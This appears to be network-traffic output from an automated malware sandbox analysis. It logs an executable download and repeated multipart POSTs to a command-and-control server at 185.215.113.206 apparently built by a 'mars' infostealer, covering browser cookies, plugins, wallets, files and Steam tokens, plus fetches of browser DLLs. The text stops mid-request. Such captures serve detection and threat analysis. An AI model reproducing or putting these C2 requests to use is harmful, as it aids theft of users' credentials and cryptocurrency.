e0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 64 15 32 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 14 15 32 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 80 06 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 e0 01 00 00 00 90 06 00 00 02 00 00 00 90 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 92 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 74 63 66 70 65 6d 6b 77 00 70 2b 00 00 b0 06 00 00 66 2b 00 00 94 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 61 61 76 67 69 64 79 78 00 10 00 00 00 20 32 00 00 04 00 00 00 fa 31 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 30 32 00 00 22 00 00 00 fe 31 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 09 Nov 2024 21:11:12 GMTContent-Type: application/octet-streamContent-Length: 3175424Last-Modified: Sat, 09 Nov 2024 20:26:33 GMTConnection: keep-aliveETag: "672fc579-307400"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 53 d3 15 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 4a 04 00 00 d6 00 00 00 00 00 00 00 80 30 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 b0 30 00 00 04 00 00 cf 0d 31 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 a0 05 00 68 00 00 00 00 90 05 00 40 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 a1 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 05 00 00 10 00 00 00 80 05 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 40 03 00 00 00 90 05 00 00 04 00 00 00 90 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 05 00 00 02 00 00 00 94 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 65 62 6f 6a 68 63 61 66 00 c0 2a 00 00 b0 05 00 00 b6 2a 00 00 96 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 77 65 6c 6b 6c 70 68 63 00 10 00 00 00 70 30 00 00 06 00 00 00 4c 30 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 80 30 00 00 22 00 00 00 52 30 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CFBAKEHIEBKJJJJJKKKEHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 46 42 41 4b 45 48 49 45 42 4b 4a 4a 4a 4a 4a 4b 4b 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 44 36 31 39 34 31 37 38 43 41 43 33 33 34 33 34 31 32 31 34 38 0d 0a 2d 2d 2d 2d 2d 2d 43 46 42 41 4b 45 48 49 45 42 4b 4a 4a 4a 4a 4a 4b 4b 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 43 46 42 41 4b 45 48 49 45 42 4b 4a 4a 4a 4a 4a 4b 4b 4b 45 2d 2d 0d 0a Data Ascii: ------CFBAKEHIEBKJJJJJKKKEContent-Disposition: form-data; name="hwid"0D6194178CAC3343412148------CFBAKEHIEBKJJJJJKKKEContent-Disposition: form-data; name="build"mars------CFBAKEHIEBKJJJJJKKKE--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CFHCBKKFIJJJECAAFCGIHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 46 48 43 42 4b 4b 46 49 4a 4a 4a 45 43 41 41 46 43 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 35 66 33 36 66 38 31 36 37 31 37 61 66 35 38 39 33 64 39 37 66 30 30 35 31 36 32 63 62 39 39 36 61 38 38 30 38 63 63 65 33 61 35 34 31 34 63 34 30 31 37 31 63 64 32 33 64 31 31 37 39 64 66 64 35 65 63 37 35 32 35 0d 0a 2d 2d 2d 2d 2d 2d 43 46 48 43 42 4b 4b 46 49 4a 4a 4a 45 43 41 41 46 43 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 43 46 48 43 42 4b 4b 46 49 4a 4a 4a 45 43 41 41 46 43 47 49 2d 2d 0d 0a Data Ascii: ------CFHCBKKFIJJJECAAFCGIContent-Disposition: form-data; name="token"f5f36f816717af5893d97f005162cb996a8808cce3a5414c40171cd23d1179dfd5ec7525------CFHCBKKFIJJJECAAFCGIContent-Disposition: form-data; name="message"browsers------CFHCBKKFIJJJECAAFCGI--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FHIDBKFCAAEBFIDHDBAEHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 48 49 44 42 4b 46 43 41 41 45 42 46 49 44 48 44 42 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 35 66 33 36 66 38 31 36 37 31 37 61 66 35 38 39 33 64 39 37 66 30 30 35 31 36 32 63 62 39 39 36 61 38 38 30 38 63 63 65 33 61 35 34 31 34 63 34 30 31 37 31 63 64 32 33 64 31 31 37 39 64 66 64 35 65 63 37 35 32 35 0d 0a 2d 2d 2d 2d 2d 2d 46 48 49 44 42 4b 46 43 41 41 45 42 46 49 44 48 44 42 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 46 48 49 44 42 4b 46 43 41 41 45 42 46 49 44 48 44 42 41 45 2d 2d 0d 0a Data Ascii: ------FHIDBKFCAAEBFIDHDBAEContent-Disposition: form-data; name="token"f5f36f816717af5893d97f005162cb996a8808cce3a5414c40171cd23d1179dfd5ec7525------FHIDBKFCAAEBFIDHDBAEContent-Disposition: form-data; name="message"plugins------FHIDBKFCAAEBFIDHDBAE--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EBAFHCBFHDHCAAKFHDGDHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 42 41 46 48 43 42 46 48 44 48 43 41 41 4b 46 48 44 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 35 66 33 36 66 38 31 36 37 31 37 61 66 35 38 39 33 64 39 37 66 30 30 35 31 36 32 63 62 39 39 36 61 38 38 30 38 63 63 65 33 61 35 34 31 34 63 34 30 31 37 31 63 64 32 33 64 31 31 37 39 64 66 64 35 65 63 37 35 32 35 0d 0a 2d 2d 2d 2d 2d 2d 45 42 41 46 48 43 42 46 48 44 48 43 41 41 4b 46 48 44 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 45 42 41 46 48 43 42 46 48 44 48 43 41 41 4b 46 48 44 47 44 2d 2d 0d 0a Data Ascii: ------EBAFHCBFHDHCAAKFHDGDContent-Disposition: form-data; name="token"f5f36f816717af5893d97f005162cb996a8808cce3a5414c40171cd23d1179dfd5ec7525------EBAFHCBFHDHCAAKFHDGDContent-Disposition: form-data; name="message"fplugins------EBAFHCBFHDHCAAKFHDGD--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DBGHJEBKJEGHJKECAAKJHost: 185.215.113.206Content-Length: 8083Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AKJKFBAFIDAEBFHJKJEBHost: 185.215.113.206Content-Length: 427Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 4b 4a 4b 46 42 41 46 49 44 41 45 42 46 48 4a 4b 4a 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 35 66 33 36 66 38 31 36 37 31 37 61 66 35 38 39 33 64 39 37 66 30 30 35 31 36 32 63 62 39 39 36 61 38 38 30 38 63 63 65 33 61 35 34 31 34 63 34 30 31 37 31 63 64 32 33 64 31 31 37 39 64 66 64 35 65 63 37 35 32 35 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4a 4b 46 42 41 46 49 44 41 45 42 46 48 4a 4b 4a 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4a 4b 46 42 41 46 49 44 41 45 42 46 48 4a 4b 4a 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 65 79 4a 70 5a 43 49 36 4d 53 77 69 63 6d 56 7a 64 57 78 30 49 6a 70 37 49 6d 4e 76 62 32 74 70 5a 58 4d 69 4f 6c 74 64 66 58 30 3d 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4a 4b 46 42 41 46 49 44 41 45 42 46 48 4a 4b 4a 45 42 2d 2d 0d 0a Data Ascii: ------AKJKFBAFIDAEBFHJKJEBContent-Disposition: form-data; name="token"f5f36f816717af5893d97f005162cb996a8808cce3a5414c40171cd23d1179dfd5ec7525------AKJKFBAFIDAEBFHJKJEBContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------AKJKFBAFIDAEBFHJKJEBContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------AKJKFBAFIDAEBFHJKJEB--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CBKJKJDBFIIDHJKEHJEHHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 42 4b 4a 4b 4a 44 42 46 49 49 44 48 4a 4b 45 48 4a 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 35 66 33 36 66 38 31 36 37 31 37 61 66 35 38 39 33 64 39 37 66 30 30 35 31 36 32 63 62 39 39 36 61 38 38 30 38 63 63 65 33 61 35 34 31 34 63 34 30 31 37 31 63 64 32 33 64 31 31 37 39 64 66 64 35 65 63 37 35 32 35 0d 0a 2d 2d 2d 2d 2d 2d 43 42 4b 4a 4b 4a 44 42 46 49 49 44 48 4a 4b 45 48 4a 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 43 42 4b 4a 4b 4a 44 42 46 49 49 44 48 4a 4b 45 48 4a 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 43 42 4b 4a 4b 4a 44 42 46 49 49 44 48 4a 4b 45 48 4a 45 48 2d 2d 0d 0a Data Ascii: ------CBKJKJDBFIIDHJKEHJEHContent-Disposition: form-data; name="token"f5f36f816717af5893d97f005162cb996a8808cce3a5414c40171cd23d1179dfd5ec7525------CBKJKJDBFIIDHJKEHJEHContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------CBKJKJDBFIIDHJKEHJEHContent-Disposition: form-data; name="file"------CBKJKJDBFIIDHJKEHJEH--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DHJKJKKKJJJKJKFHJJJJHost: 185.215.113.206Content-Length: 3087Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AFCFHJJECAEHJJKEHIDBHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 46 43 46 48 4a 4a 45 43 41 45 48 4a 4a 4b 45 48 49 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 35 66 33 36 66 38 31 36 37 31 37 61 66 35 38 39 33 64 39 37 66 30 30 35 31 36 32 63 62 39 39 36 61 38 38 30 38 63 63 65 33 61 35 34 31 34 63 34 30 31 37 31 63 64 32 33 64 31 31 37 39 64 66 64 35 65 63 37 35 32 35 0d 0a 2d 2d 2d 2d 2d 2d 41 46 43 46 48 4a 4a 45 43 41 45 48 4a 4a 4b 45 48 49 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 41 46 43 46 48 4a 4a 45 43 41 45 48 4a 4a 4b 45 48 49 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 41 46 43 46 48 4a 4a 45 43 41 45 48 4a 4a 4b 45 48 49 44 42 2d 2d 0d 0a Data Ascii: ------AFCFHJJECAEHJJKEHIDBContent-Disposition: form-data; name="token"f5f36f816717af5893d97f005162cb996a8808cce3a5414c40171cd23d1179dfd5ec7525------AFCFHJJECAEHJJKEHIDBContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------AFCFHJJECAEHJJKEHIDBContent-Disposition: form-data; name="file"------AFCFHJJECAEHJJKEHIDB--
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IECFBKFHCAEHJJKEGDGHHost: 185.215.113.206Content-Length: 1067Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----ECAKECAEGDHIECBGHIIIHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 43 41 4b 45 43 41 45 47 44 48 49 45 43 42 47 48 49 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 35 66 33 36 66 38 31 36 37 31 37 61 66 35 38 39 33 64 39 37 66 30 30 35 31 36 32 63 62 39 39 36 61 38 38 30 38 63 63 65 33 61 35 34 31 34 63 34 30 31 37 31 63 64 32 33 64 31 31 37 39 64 66 64 35 65 63 37 35 32 35 0d 0a 2d 2d 2d 2d 2d 2d 45 43 41 4b 45 43 41 45 47 44 48 49 45 43 42 47 48 49 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 45 43 41 4b 45 43 41 45 47 44 48 49 45 43 42 47 48 49 49 49 2d 2d 0d 0a Data Ascii: ------ECAKECAEGDHIECBGHIIIContent-Disposition: form-data; name="token"f5f36f816717af5893d97f005162cb996a8808cce3a5414c40171cd23d1179dfd5ec7525------ECAKECAEGDHIECBGHIIIContent-Disposition: form-data; name="message"wallets------ECAKECAEGDHIECBGHIII--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JDAKJDAAFBKFHIEBFCFBHost: 185.215.113.206Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 44 41 4b 4a 44 41 41 46 42 4b 46 48 49 45 42 46 43 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 35 66 33 36 66 38 31 36 37 31 37 61 66 35 38 39 33 64 39 37 66 30 30 35 31 36 32 63 62 39 39 36 61 38 38 30 38 63 63 65 33 61 35 34 31 34 63 34 30 31 37 31 63 64 32 33 64 31 31 37 39 64 66 64 35 65 63 37 35 32 35 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 41 4b 4a 44 41 41 46 42 4b 46 48 49 45 42 46 43 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 41 4b 4a 44 41 41 46 42 4b 46 48 49 45 42 46 43 46 42 2d 2d 0d 0a Data Ascii: ------JDAKJDAAFBKFHIEBFCFBContent-Disposition: form-data; name="token"f5f36f816717af5893d97f005162cb996a8808cce3a5414c40171cd23d1179dfd5ec7525------JDAKJDAAFBKFHIEBFCFBContent-Disposition: form-data; name="message"files------JDAKJDAAFBKFHIEBFCFB--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IECFBKFHCAEHJJKEGDGHHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 45 43 46 42 4b 46 48 43 41 45 48 4a 4a 4b 45 47 44 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 35 66 33 36 66 38 31 36 37 31 37 61 66 35 38 39 33 64 39 37 66 30 30 35 31 36 32 63 62 39 39 36 61 38 38 30 38 63 63 65 33 61 35 34 31 34 63 34 30 31 37 31 63 64 32 33 64 31 31 37 39 64 66 64 35 65 63 37 35 32 35 0d 0a 2d 2d 2d 2d 2d 2d 49 45 43 46 42 4b 46 48 43 41 45 48 4a 4a 4b 45 47 44 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 45 43 46 42 4b 46 48 43 41 45 48 4a 4a 4b 45 47 44 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 49 45 43 46 42 4b 46 48 43 41 45 48 4a 4a 4b 45 47 44 47 48 2d 2d 0d 0a Data Ascii: ------IECFBKFHCAEHJJKEGDGHContent-Disposition: form-data; name="token"f5f36f816717af5893d97f005162cb996a8808cce3a5414c40171cd23d1179dfd5ec7525------IECFBKFHCAEHJJKEGDGHContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------IECFBKFHCAEHJJKEGDGHContent-Disposition: form-data; name="file"------IECFBKFHCAEHJJKEGDGH--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JDBFIIEBGCAKKEBFBAAFHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 44 42 46 49 49 45 42 47 43 41 4b 4b 45 42 46 42 41 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 35 66 33 36 66 38 31 36 37 31 37 61 66 35 38 39 33 64 39 37 66 30 30 35 31 36 32 63 62 39 39 36 61 38 38 30 38 63 63 65 33 61 35 34 31 34 63 34 30 31 37 31 63 64 32 33 64 31 31 37 39 64 66 64 35 65 63 37 35 32 35 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 42 46 49 49 45 42 47 43 41 4b 4b 45 42 46 42 41 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 42 46 49 49 45 42 47 43 41 4b 4b 45 42 46 42 41 41 46 2d 2d 0d 0a Data Ascii: ------JDBFIIEBGCAKKEBFBAAFContent-Disposition: form-data; 